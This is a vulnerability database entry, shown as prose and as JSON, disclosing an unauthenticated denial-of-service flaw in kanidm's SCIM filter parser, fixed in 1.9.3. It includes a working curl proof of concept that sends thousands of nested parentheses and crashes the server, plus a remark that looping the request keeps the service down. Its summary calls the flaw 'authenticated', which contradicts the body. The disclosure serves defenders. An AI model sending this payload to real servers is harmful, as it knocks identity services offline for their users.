GHSA-R5FR-9GMV-JGGH

Vulnerability from github – Published: 2026-05-06 23:38 – Updated: 2026-06-29 15:30
VLAI
Summary
scim_proto and kanidm_proto have an authenticated process abort via SCIM filter stack exhaustion
Details

Summary

A single unauthenticated GET to any /scim/v1/... endpoint with a ?filter= query string of a few thousand nested parentheses (≈ 4–12 KB) drives the recursive-descent PEG parser past the worker thread's stack guard page. Rust responds to stack overflow with std::process::abort() — the entire kanidmd process exits. The parse runs inside axum's Query<ScimEntryGetQuery> extractor, before any handler body and therefore before any ACL check.

Details

The SCIM filter grammar recurses on ( and not ( with no depth bound.

proto/src/scim_v1/mod.rs:263-433 — peg::parser! { grammar scimfilter() ... }:

// line 281
"not" separator()+ "(" e:parse() ")" { ScimFilter::Not(Box::new(e)) }
// line 293
"(" e:parse() ")" { e }

Both rules re-enter parse() without a depth counter.

proto/src/scim_v1/mod.rs:442-447 — impl FromStr for ScimFilter calls scimfilter::parse(input) directly on the raw string with no length or depth pre-check.

proto/src/scim_v1/mod.rs:80-81 — ScimEntryGetQuery.filter is #[serde_as(as = "Option<DisplayFromStr>")], so deserialising the query struct invokes ScimFilter::from_str on attacker bytes.

Unauthenticated reachability — nine handlers in server/core/src/https/v1_scim.rs (route table at lines 865-1029) take Query<ScimEntryGetQuery> as an argument: /scim/v1/Entry, /scim/v1/Entry/{id}, /scim/v1/Person/{id}, /scim/v1/Application, /scim/v1/Application/{id}, /scim/v1/Class, /scim/v1/Attribute, /scim/v1/Message, /scim/v1/Message/{id}. The SCIM router is merged unconditionally for every server role (server/core/src/https/mod.rs:312).

Axum extracts handler arguments before the handler body runs. The preceding VerifiedClientInformation extractor (server/core/src/https/extractors/mod.rs:16-91) always returns Ok (line 89) regardless of credentials; authorization is deferred to the handler body, which is never reached.

The existing semantic depth limit (DEFAULT_LIMIT_FILTER_DEPTH_MAX = 12, server/lib/src/constants/mod.rs:212) is enforced in Filter::from_scim_ro (server/lib/src/filter.rs:786) after the PEG parse has already produced an AST, so it cannot prevent the parser itself from blowing the stack.

The production daemon (server/daemon/src/main.rs:735-744) uses new_multi_thread() with default 2 MiB worker stacks; hyper's max_buf_size (~400 KiB) is not lowered (server/core/src/https/mod.rs:708-727), so a 12 KB URI is accepted.

An identical unbounded grammar exists in libs/scim_proto/src/filter.rs:112-276 (not network-reachable, but should be fixed in the same patch).

PoC

curl -sk "https://idm.example.com/scim/v1/Application?filter=$(python3 -c 'print("("*3000+"a+pr"+")"*3000)')"
# → curl: (52) Empty reply from server
# → server journal: "fatal runtime error: stack overflow, aborting", SIGABRT

Release-build threshold measured at ~2 000 nesting levels / ~4 KB:

$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture
parens depth=1500 len=3004
  -> survived
parens depth=2000 len=4004

thread 'audit_scim_filter_nested_parens' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)

End-to-end against an in-process server via kanidmd_testkit (no authentication performed):

Testkit server setup complete - http://localhost:18080/
audit_scim_dos: sending unauthenticated GET, url len = 12056

thread '...' has overflowed its stack
fatal runtime error: stack overflow, aborting
  (signal: 6, SIGABRT: process abort signal)

Impact

Process-wide availability loss; no confidentiality or integrity impact.

  • Unauthenticated, default install, no feature flag required.
  • Process abort, not task panic. Stack overflow triggers libstd's guard-page handler, which calls std::process::abort(). tokio's per-task catch_unwind isolation does not apply to aborts. All in-flight HTTP requests, OAuth2/OIDC sessions, LDAP binds, and the web UI are terminated.
  • Repeatable. One ~12 KB GET per crash; a while true; do curl ...; done loop holds the service down indefinitely across supervisor restarts.
  • The 6 011-byte variant (depth=3000) fits under the nginx default large_client_header_buffers limit of 8 KB, so a typical reverse proxy does not mitigate.

Affected: v1.7.0 through master @ edf50b9da.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "scim_proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "kanidm_proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46689"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:38:49Z",
    "nvd_published_at": "2026-06-10T22:17:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA single unauthenticated `GET` to any `/scim/v1/...` endpoint with a `?filter=` query string of a few thousand nested parentheses (\u2248 4\u201312 KB) drives the recursive-descent PEG parser past the worker thread\u0027s stack guard page. Rust responds to stack overflow with `std::process::abort()` \u2014 the entire `kanidmd` process exits. The parse runs inside axum\u0027s `Query\u003cScimEntryGetQuery\u003e` extractor, before any handler body and therefore before any ACL check.\n\n### Details\n\nThe SCIM filter grammar recurses on `(` and `not (` with no depth bound.\n\n**`proto/src/scim_v1/mod.rs:263-433`** \u2014 `peg::parser! { grammar scimfilter() ... }`:\n\n```rust\n// line 281\n\"not\" separator()+ \"(\" e:parse() \")\" { ScimFilter::Not(Box::new(e)) }\n// line 293\n\"(\" e:parse() \")\" { e }\n```\n\nBoth rules re-enter `parse()` without a depth counter.\n\n**`proto/src/scim_v1/mod.rs:442-447`** \u2014 `impl FromStr for ScimFilter` calls `scimfilter::parse(input)` directly on the raw string with no length or depth pre-check.\n\n**`proto/src/scim_v1/mod.rs:80-81`** \u2014 `ScimEntryGetQuery.filter` is `#[serde_as(as = \"Option\u003cDisplayFromStr\u003e\")]`, so deserialising the query struct invokes `ScimFilter::from_str` on attacker bytes.\n\n**Unauthenticated reachability** \u2014 nine handlers in `server/core/src/https/v1_scim.rs` (route table at lines 865-1029) take `Query\u003cScimEntryGetQuery\u003e` as an argument: `/scim/v1/Entry`, `/scim/v1/Entry/{id}`, `/scim/v1/Person/{id}`, `/scim/v1/Application`, `/scim/v1/Application/{id}`, `/scim/v1/Class`, `/scim/v1/Attribute`, `/scim/v1/Message`, `/scim/v1/Message/{id}`. The SCIM router is merged unconditionally for every server role (`server/core/src/https/mod.rs:312`).\n\nAxum extracts handler arguments before the handler body runs. The preceding `VerifiedClientInformation` extractor (`server/core/src/https/extractors/mod.rs:16-91`) always returns `Ok` (line 89) regardless of credentials; authorization is deferred to the handler body, which is never reached.\n\nThe existing semantic depth limit (`DEFAULT_LIMIT_FILTER_DEPTH_MAX = 12`, `server/lib/src/constants/mod.rs:212`) is enforced in `Filter::from_scim_ro` (`server/lib/src/filter.rs:786`) **after** the PEG parse has already produced an AST, so it cannot prevent the parser itself from blowing the stack.\n\nThe production daemon (`server/daemon/src/main.rs:735-744`) uses `new_multi_thread()` with default 2 MiB worker stacks; hyper\u0027s `max_buf_size` (~400 KiB) is not lowered (`server/core/src/https/mod.rs:708-727`), so a 12 KB URI is accepted.\n\nAn identical unbounded grammar exists in `libs/scim_proto/src/filter.rs:112-276` (not network-reachable, but should be fixed in the same patch).\n\n### PoC\n\n```sh\ncurl -sk \"https://idm.example.com/scim/v1/Application?filter=$(python3 -c \u0027print(\"(\"*3000+\"a+pr\"+\")\"*3000)\u0027)\"\n# \u2192 curl: (52) Empty reply from server\n# \u2192 server journal: \"fatal runtime error: stack overflow, aborting\", SIGABRT\n```\n\nRelease-build threshold measured at ~2 000 nesting levels / ~4 KB:\n\n```\n$ cargo test --release -p kanidm_proto --test scim_filter_depth -- --nocapture\nparens depth=1500 len=3004\n  -\u003e survived\nparens depth=2000 len=4004\n\nthread \u0027audit_scim_filter_nested_parens\u0027 has overflowed its stack\nfatal runtime error: stack overflow, aborting\n  (signal: 6, SIGABRT: process abort signal)\n```\n\nEnd-to-end against an in-process server via `kanidmd_testkit` (no authentication performed):\n\n```\nTestkit server setup complete - http://localhost:18080/\naudit_scim_dos: sending unauthenticated GET, url len = 12056\n\nthread \u0027...\u0027 has overflowed its stack\nfatal runtime error: stack overflow, aborting\n  (signal: 6, SIGABRT: process abort signal)\n```\n\n### Impact\n\nProcess-wide availability loss; no confidentiality or integrity impact.\n\n- **Unauthenticated**, default install, no feature flag required.\n- **Process abort, not task panic.** Stack overflow triggers libstd\u0027s guard-page handler, which calls `std::process::abort()`. tokio\u0027s per-task `catch_unwind` isolation does not apply to aborts. All in-flight HTTP requests, OAuth2/OIDC sessions, LDAP binds, and the web UI are terminated.\n- **Repeatable.** One ~12 KB GET per crash; a `while true; do curl ...; done` loop holds the service down indefinitely across supervisor restarts.\n- The 6 011-byte variant (`depth=3000`) fits under the nginx default `large_client_header_buffers` limit of 8 KB, so a typical reverse proxy does not mitigate.\n\n**Affected**: v1.7.0 through `master` @ edf50b9da.",
  "id": "GHSA-r5fr-9gmv-jggh",
  "modified": "2026-06-29T15:30:20Z",
  "published": "2026-05-06T23:38:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kanidm/kanidm/security/advisories/GHSA-r5fr-9gmv-jggh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46689"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kanidm/kanidm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kanidm/kanidm/releases/tag/v1.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "scim_proto and kanidm_proto have an authenticated process abort via SCIM filter stack exhaustion"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…